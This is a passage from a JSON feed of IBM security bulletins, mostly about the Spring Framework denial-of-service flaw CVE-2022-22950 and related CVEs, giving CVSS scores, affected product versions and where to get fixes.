"CVE-2022-22965", "CVE-2022-22968"], "modified": "2022-06-10T05:17:19", "id": "2FB703AAD3FC5C2BE7EED7EC7E69FEBE209E6C70177FEA76C552605DF83D85ED", "href": "https://www.ibm.com/support/pages/node/6593861", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-24T06:05:09", "description": "## Summary\n\nIBM Planning Analytics Workspace is affected by multiple vulnerabilites. Spring is used in IBM Planning Analytics Workspace in Server Side Rest APIs as an indirect dependency by MongoDB that is used to store content (CVE-2022-22950). FasterXML jackson-databind is used in IBM Planning Analytics Workspace to parse and generate json files (XFID: 217968). \n\n## Vulnerability Details\n\n** CVEID: **[CVE-2022-22950](<https://vulners.com/cve/CVE-2022-22950>) \n** DESCRIPTION: **VMware Tanzu Spring Framework is vulnerable to a denial of service, caused by improper input validation. By sending a specially-crafted crafted SpEL expression, a remote attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 5.4 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223096](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223096>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L) \n \n** IBM X-Force ID: **217968 \n** DESCRIPTION: **FasterXML jackson-databind is vulnerable to a denial of service, caused by an error when using JDK serialization to serialize and deserialize JsonNode values. By sending a specially crafted request, an attacker could exploit this vulnerability to cause a denial of service. \nCVSS Base score: 5.9 \nCVSS Temporal Score: See: [https://exchange.xforce.ibmcloud.com/vulnerabilities/217968 ](<https://exchange.xforce.ibmcloud.com/vulnerabilities/217968>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\n## Affected Products and Versions\n\nIBM Planning Analytics Workspace 2.0\n\n## Remediation/Fixes\n\nIt is strongly recommended that you apply the most recent security updates:\n\n[Download IBM Planning Analytics Local v2.0 - Planning Analytics Workspace Release 76 from Fix Central ](<https://www.ibm.com/support/pages/node/6584994> \"Download IBM Planning Analytics Local v2.0 - Planning Analytics Workspace Release 76 from Fix Central\" ) \n \n\n\nThis Security Bulletin is applicable to IBM Planning Analytics 2.0 on premise offerings. The vulnerabilities listed above have been addressed on IBM Planning Analytics with Watson and no further action is required.\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2022-05-13T17:08:13", "type": "ibm", "title": "Security Bulletin: IBM Planning Analytics Workspace is affected by multiple vulnerabilities (CVE-2022-22950, XFID:217968)", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22950"], "modified": "2022-05-13T17:08:13", "id": "933F16C198EDF616BD60B2C55B4AE9B642F3BD83CA146DEBB0E52EC9050248AF", "href": "https://www.ibm.com/support/pages/node/6579613", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}, {"lastseen": "2023-06-24T05:50:13", "description": "## Summary\n\nIBM Watson Speech Services Cartridge for IBM Cloud Pak for Data is vulnerable to a denial of service, caused by improper input validation in VMware Tanzu Spring Framework (CVE-2022-22950). This appears in the Java code used by some of our service components. Please read the details for remediation below.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2022-22950](<https://vulners.com/cve/CVE-2022-22950>) \n** DESCRIPTION: **VMware Tanzu Spring Framework is vulnerable to a denial of service, caused by improper input validation. By sending a specially-crafted crafted SpEL expression, a remote attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 5.4 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223096](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223096>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nIBM Watson Speech Services Cartridge for IBM Cloud Pak for Data| 4.0.0 - 4.0.8 \n \n\n\n## Remediation/Fixes\n\n**Product(s)**| **Version(s) \n**| **Remediation/Fix/Instructions** \n---|---|--- \n**IBM Watson Speech Services Cartridge for IBM Cloud Pak for Data**| **4.0.9**| **The fix in 4.0.9 applies to all versions listed (4.0.0-4.0.8). Version 4.0.9 can be downloaded and installed from: \n<https://www.ibm.com/docs/en/cloud-paks/cp-data/4.0?topic=planning-operator-operand-versions> \n** \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2023-01-12T21:59:00", "type": "ibm", "title": "Security Bulletin: IBM Watson Speech Services Cartridge for IBM Cloud Pak for Data is vulnerable to a denial of service, caused by improper input validation with Spring Framework (CVE-2022-22950).", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22950"], "modified": "2023-01-12T21:59:00", "id": "A97F6751F71164D0A07AD868814BD46D147EF591C7234360EA8F62B2317AA675", "href": "https://www.ibm.com/support/pages/node/6593865", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}, {"lastseen": "2023-06-24T05:51:05", "description": "## Summary\n\nIBM Tivoli Monitoring is affected but not classified as vulnerable to a remote code execution in Spring Framework (CVE-2022-22950). The Tivoli Enterprise Portal Server (CQ) component includes but does not use it. The fix removes Spring from the product.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2022-22950](<https://vulners.com/cve/CVE-2022-22950>) \n** DESCRIPTION: **VMware Tanzu Spring Framework is vulnerable to a denial of service, caused by improper input validation. By sending a specially-crafted crafted SpEL expression, a remote attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 5.4 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223096](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223096>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nIBM Tivoli Monitoring| 6.3.0 - 6.3.0.7 (up to 6.3.0.7 Service pack 10) \n \n\n\n## Remediation/Fixes\n\nFix Name| VRMF| Remediation/Fix Download \n---|---|--- \n6.3.0.7-TIV-ITM-SP0012| 6.3.0.7 Fix Pack 7 Service Pack 12| <https://www.ibm.com/support/pages/ibm-tivoli-monitoring-630-fix-pack-7-service-pack-12-6307-tiv-itm-sp0012> \nThe fix requires the system is at 630 Fix pack 7 or later as a prerequisite. \n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2022-12-30T17:31:59", "type": "ibm", "title": "Security Bulletin: IBM Tivoli Monitoring is affected but not classified as vulnerable by a denial of service in Spring Framework (CVE-2022-22950)", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22950"], "modified": "2022-12-30T17:31:59", "id": "471BEEF44DE6C27461378C7D110744F38E295FB10C4A50D100750E5E0D7941A0", "href": "https://www.ibm.com/support/pages/node/6579161", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}, {"lastseen": "2023-06-14T17:35:49", "description": "## Summary\n\nIn Spring Framework versions 5.3.0 - 5.3.16 and older unsupported versions, it is possible for a user to provide a specially crafted SpEL expression that may cause a denial of service condition. This effects ITNCM version 6.4.2.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2022-22950](<https://vulners.com/cve/CVE-2022-22950>) \n** DESCRIPTION: **VMware Tanzu Spring Framework is vulnerable to a denial of service, caused by improper input validation. By sending a specially-crafted crafted SpEL expression, a remote attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 5.4 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223096](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223096>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nITNCM| 6.4.2 \n \n\n\n## Remediation/Fixes\n\nThis issue has been fixed in ITNCM Fix Pack 18 and which is available in the following location in fix central. \n\nAIX, Linux, Linux zSeries : [6.4.2-TIV-ITNCM-FP018 ](<https://www.ibm.com/support/fixcentral/swg/selectFixes?product=ibm%2FTivoli%2FTivoli+Netcool+Configuration+Manager&fixids=6.4.2-TIV-ITNCM-FP018&source=SAR&function=fixId&parent=ibm/Tivoli> \"\" )\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2023-06-06T04:57:17", "type": "ibm", "title": "Security Bulletin: [All] Spring Framework - CVE-2022-22950 (Publicly disclosed vulnerability)", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22950"], "modified": "2023-06-06T04:57:17", "id": "6C544B97B62B9464D51C78F9B268DAFEF4ADE09A38B1D9BEF0D8564D5CC42D88", "href": "https://www.ibm.com/support/pages/node/7001553", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}, {"lastseen": "2023-06-24T05:50:01", "description": "## Summary\n\nIBM Watson Speech Services Cartridge for IBM Cloud Pak for Data is vulnerable to a denial of service, caused by improper input validation in VMware Tanzu Spring Framework (CVE-2022-22950). Spring Framework is used in Watson Speech Services to build our STT and TTS java services Please read the details for remediation below.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2022-22950](<https://vulners.com/cve/CVE-2022-22950>) \n** DESCRIPTION: **VMware Tanzu Spring Framework is vulnerable to a denial of service, caused by improper input validation. By sending a specially-crafted crafted SpEL expression, a remote attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 5.4 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223096](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223096>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nIBM Watson Speech Services Cartridge for IBM Cloud Pak for Data| 4.0.0 - 4.0.8 \n \n\n\n## Remediation/Fixes\n\n \n**Product(s)**| **Version(s) \n**| **Remediation/Fix/Instructions** \n---|---|--- \n**IBM Watson Speech Services Cartridge for IBM Cloud Pak for Data**| **4.0.9**| **The fix in 4.0.9 applies to all versions listed (4.0.0-4.0.8). Version 4.0.9 can be downloaded and installed from: \n<https://www.ibm.com/docs/en/cloud-paks/cp-data/4.0?topic=planning-operator-operand-versions> \n** \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2023-01-12T21:59:00", "type": "ibm", "title": "Security Bulletin: IBM Watson Speech Services Cartridge for IBM Cloud Pak for Data is vulnerable to improper input validation in Spring Framework (CVE-2022-22950)", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22950"], "modified": "2023-01-12T21:59:00", "id": "8D1FFB0AFC90D6F732CB992E0BDEB82F435593D96A68A03F6DD265E83892C473", "href": "https://www.ibm.com/support/pages/node/6591499", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}, {"lastseen": "2023-06-24T06:05:29", "description": "## Summary\n\nIBM Watson Assistant for IBM Cloud Pak for Data is affected but not vulnerable to a denial of service in Spring Framework (CVE-2022-22950) Spring Framework is used by IBM Watson Assistant for IBM Cloud Pak for Data as part of its developement infrastructure. The fix includes Spring version 5.3.18, 5.2.20 or later.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2022-22950](<https://vulners.com/cve/CVE-2022-22950>) \n** DESCRIPTION: **VMware Tanzu Spring Framework is vulnerable to a denial of service, caused by improper input validation. By sending a specially-crafted crafted SpEL expression, a remote attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 5.4 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223096](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223096>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nIBM Watson Assistant for IBM Cloud Pack for Data| 1.5.0, 4.0.0. 4.0.2, 4.0.4, 4.0.5, 4.0.6, 4.0.7 \n \n\n\n## Remediation/Fixes\n\nFor all affected versions, IBM strongly recommends addressing the vulnerability now by upgrading to the latest (v4.0.8) release of IBM Watson Assistant for IBM Cloud Pak for Data which maintains backward compatibility with the versions listed above. \n\n**Product Latest Version**| **Remediation/Fix/Instructions** \n---|--- \nIBM Watson Assistant for IBM Cloud Pak for Data 4.0.8| \n\nFollow instructions for Installing Watson Assistant in Link to Release (v4.0.8 release information)\n\n<https://www.ibm.com/docs/en/cloud-paks/cp-data/4.0?topic=assistant-installing-watson> \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2022-05-06T23:10:16", "type": "ibm", "title": "Security Bulletin: IBM Watson Assistant for IBM Cloud Pak for Data is affected but not classified as vulnerable to a denial of service in Spring Framework (CVE-2022-22950)", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22950"], "modified": "2022-05-06T23:10:16", "id": "1EA754AFF092ED1712E3DBFA763C4962C7EF40031818AB374A5E52A9E9586AAD", "href": "https://www.ibm.com/support/pages/node/6583755", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}, {"lastseen": "2023-06-24T06:05:30", "description": "## Summary\n\nIBM Watson Assistant for IBM Cloud Pak for Data is affected but not vulnerable to a denial of service in Spring Framework (CVE-2022-22950) Spring Framework is used by IBM Watson Assistant for IBM Cloud Pak for Data as part of its developement infrastructure. The fix includes Spring version 5.3.18, 5.2.20 or later.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2022-22950](<https://vulners.com/cve/CVE-2022-22950>) \n** DESCRIPTION: **VMware Tanzu Spring Framework is vulnerable to a denial of service, caused by improper input validation. By sending a specially-crafted crafted SpEL expression, a remote attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 5.4 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223096](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223096>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nIBM Watson Assistant for IBM Cloud Pack for Data| 1.5.0, 4.0.0. 4.0.2, 4.0.4, 4.0.5, 4.0.6, 4.0.7 \n \n\n\n## Remediation/Fixes\n\nFor all affected versions, IBM strongly recommends addressing the vulnerability now by upgrading to the latest (v4.0.8) release of IBM Watson Assistant for IBM Cloud Pak for Data which maintains backward compatibility with the versions listed above. \n\n**Product Latest Version**| **Remediation/Fix/Instructions** \n---|--- \nIBM Watson Assistant for IBM Cloud Pak for Data 4.0.8| \n\nFollow instructions for Installing Watson Assistant in Link to Release (v4.0.8 release information)\n\n<https://www.ibm.com/docs/en/cloud-paks/cp-data/4.0?topic=assistant-installing-watson> \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2022-05-06T23:17:00", "type": "ibm", "title": "Security Bulletin: IBM Watson Assistant for IBM Cloud Pak for Data is affected but not classified as vulnerable to a denial of service in Spring Framework (CVE-2022-22950)", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22950"], "modified": "2022-05-06T23:17:00", "id": "67BA75B2F60B75FF432F4A7CBDBC2D43DE52B633C04D3C54ADA035D39D2605F7", "href": "https://www.ibm.com/support/pages/node/6583815", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}, {"lastseen": "2023-07-28T22:16:07", "description": "## Summary\n\nThere is a vulnerability in the Spring Framework open source library used by IBM OpenPages with Watson. This affects the IBM OpenPages application server. This vulnerability has been addressed. \n\n## Vulnerability Details\n\n** CVEID: **[CVE-2022-22950](<https://vulners.com/cve/CVE-2022-22950>) \n** DESCRIPTION: **VMware Tanzu Spring Framework is vulnerable to a denial of service, caused by improper input validation. By sending a specially-crafted crafted SpEL expression, a remote attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 5.4 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223096](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223096>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L)\n\n## Affected Products and Versions\n\n**Affected Product(s)**| **Version(s)** \n---|--- \n \nIBM OpenPages with Watson\n\n| \n\n8.3, 8.2 \n \n## Remediation/Fixes\n\nA fix has been created for each affected version of the named product. Download and install the fix as soon as possible. Fixes and installation instructions are provided at the URLs listed below: \n \n\n\n**Fix**| **Download URL** \n---|--- \n \nFor IBM OpenPages with Watson **8.3**\n\n \n\\- Apply 8.3 Fix Pack 2 (**8.3.0.2**) or later\n\n| \n\n<https://www.ibm.com/support/pages/openpages-watson-83-fix-pack-2> \n \nFor IBM OpenPages with Watson **8.2**\n\n\\- Upgrade to 8.2 Fix Pack 4 (8.2.0.4)\n\n\\- Apply Interim Fix 7 (**8.2.0.4.7**) or later\n\nOr\n\n\\- Upgrade to 8.2 Fix Pack 5 (**8.2.0.5**)\n\n| \n\n**IBM recommends to use the latest Interim Fix (IF) or Fix Pack. Here is the link for more information:**\n\n<https://www.ibm.com/support/pages/openpages-watson-82-fix-list> \n \n \nFor IBM OpenPages with Watson 8.0/8.1 customers, IBM recommends to upgrade to a fixed and supported **versions 8.2, 8.3** or **9.0** of the product.\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2023-07-28T16:47:11", "type": "ibm", "title": "Security Bulletin: A VMWare Tanzu Spring Vulerability Affects IBM OpenPages with Watson (CVE-2022-22950)", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22950"], "modified": "2023-07-28T16:47:11", "id": "74A7D00A0B82FD91F588DE70B4A7290F4ECF679732C8E10821324A255E55BCC3", "href": "https://www.ibm.com/support/pages/node/7015347", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}, {"lastseen": "2023-06-24T06:04:06", "description": "## Summary\n\nVulnerabilities contained within 3rd party components were identified and remediated in the IBM MaaS360 Cloud Extender Agent, Mobile Enterprise Gateway and MaaS360 VPN module.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2021-22060](<https://vulners.com/cve/CVE-2021-22060>) \n** DESCRIPTION: **VMware Tanzu Spring Framework could allow a remote authenticated attacker to bypass security restrictions, caused by improper input validation. By sending a specially-crafted request, an attacker could exploit this vulnerability to insert additional log entries. \nCVSS Base score: 4.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/217183](<https://exchange.xforce.ibmcloud.com/vulnerabilities/217183>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N) \n \n** CVEID: **[CVE-2022-22950](<https://vulners.com/cve/CVE-2022-22950>) \n** DESCRIPTION: **VMware Tanzu Spring Framework is vulnerable to a denial of service, caused by improper input validation. By sending a specially-crafted crafted SpEL expression, a remote attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 5.4 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223096](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223096>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L) \n \n** CVEID: **[CVE-2022-0547](<https://vulners.com/cve/CVE-2022-0547>) \n** DESCRIPTION: **OpenVPN could allow a remote attacker to bypass security restrictions, caused by an authentication bypass vulnerability in external authentication plug-ins. By sending a specially-crafted request using multiple deferred authentication replies, an attacker could exploit this vulnerability to gain access with only partially correct credentials. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/222201](<https://exchange.xforce.ibmcloud.com/vulnerabilities/222201>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N) \n \n** CVEID: **[CVE-2022-0778](<https://vulners.com/cve/CVE-2022-0778>) \n** DESCRIPTION: **OpenSSL is vulnerable to a denial of service, caused by a flaw in the BN_mod_sqrt() function when parsing certificates. By using a specially-crafted certificate with invalid explicit curve parameters, a remote attacker could exploit this vulnerability to cause an infinite loop, and results in a denial of service condition. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/221911](<https://exchange.xforce.ibmcloud.com/vulnerabilities/221911>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2022-22965](<https://vulners.com/cve/CVE-2022-22965>) \n** DESCRIPTION: **Spring Framework could allow a remote attacker to execute arbitrary code on the system, caused by the improper handling of PropertyDescriptor objects used with data binding. By sending specially-crafted data to a Spring Java application, an attacker could exploit this vulnerability to execute arbitrary code on the system. Note: The exploit requires Spring Framework to be run on Tomcat as a WAR deployment with JDK 9 or higher using spring-webmvc or spring-webflux. Note: This vulnerability is also known as Spring4Shell or SpringShell. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223103](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223103>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\n**Affected Product(s)**\n\n| \n\n**Version(s)** \n \n---|--- \n \nIBM MaaS360 VPN Module\n\n| \n\n2.106.100 and prior \n \nIBM MaaS360 Mobile Enterprise Gateway\n\n| \n\n2.106.200 and prior \n \nIBM MaaS360 Cloud Extender 